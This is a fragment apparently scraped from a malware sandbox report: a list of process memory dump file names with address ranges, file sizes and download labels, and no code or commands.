                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7080-1613-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            572KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7080-1612-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            152KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7308-1647-0x0000000000DC0000-0x0000000000DE2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7316-1633-0x00000000007C0000-0x00000000007C8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7540-1639-0x0000000000400000-0x0000000000430000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            192KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7812-1624-0x0000000001170000-0x0000000001176000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            24KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7812-1623-0x0000000000EB0000-0x0000000000ED2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7812-1618-0x0000000000EA0000-0x0000000000EA6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            24KB

                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                          • memory/7812-1615-0x00000000007E0000-0x0000000000808000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            160KB

                                                                                                                                                                                                                                                                                                                                                                                            Download